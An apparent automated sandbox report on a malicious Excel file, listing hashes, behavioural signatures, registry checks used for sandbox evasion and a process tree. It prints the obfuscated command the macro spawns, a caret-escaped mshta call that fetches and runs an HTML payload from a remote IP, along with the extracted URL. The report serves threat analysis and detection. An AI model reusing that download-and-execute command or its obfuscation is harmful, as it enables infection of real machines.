Analysis
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max time kernel
133s -
max time network
140s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
11-11-2024 17:46
Behavioral task
behavioral1
Sample
088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls
Resource
win10v2004-20241007-en
General
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Target
088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls
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Size
64KB
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MD5
a10dd8119334b7870a703ada55cb4cd7
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SHA1
d25ca7d806afbaeb28915b1938380e3861dc23ba
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SHA256
088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940
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SHA512
33958baffd9da228313a3b5e25dc54060de84d154e3648494fffe7a02d388e86bcbed91511c89299a13b33657c8b26664f32d75e84834c337e5d9c2380bcbf7e
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SSDEEP
1536:8URk3hbdlylKsgqopeJBWhZFGkE+cL2NdAKNzMk9B+oo1zMk9A+oos:8Mk3hbdlylKsgqopeJBWhZFGkE+cL2N0
Malware Config
Extracted
http://87.251.86.178/pp/cc.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1808 3640 cmd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 19 4744 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3640 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3640 EXCEL.EXE 3640 EXCEL.EXE 3640 EXCEL.EXE 3640 EXCEL.EXE 3640 EXCEL.EXE 3640 EXCEL.EXE 3640 EXCEL.EXE 3640 EXCEL.EXE 3640 EXCEL.EXE 3640 EXCEL.EXE 3640 EXCEL.EXE 3640 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3640 wrote to memory of 1808 3640 EXCEL.EXE 86 PID 3640 wrote to memory of 1808 3640 EXCEL.EXE 86 PID 1808 wrote to memory of 4744 1808 cmd.exe 88 PID 1808 wrote to memory of 4744 1808 cmd.exe 88
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3640 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1808 -
C:\Windows\system32\mshta.exemshta http://87.251.86.178/pp/cc.html3⤵
- Blocklisted process makes network request
PID:4744
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize3KB
MD593199082d8b7137b3ddb9c24148ec5ec
SHA1de27068caf72d50b0a51ce8738f16f86386fcc21
SHA2569bcae2bb0631f1009341b1b0da4627a265c6e2a04432197e86771eb95190d6c5
SHA512d06d24853c77488923450b6578f38e8a112d4146b8b40d94b2a8fe53cd925c4fd8b7a166f256268b3d700e05b09a1f03df7f20fc3faf40c0749da5e86d832f2f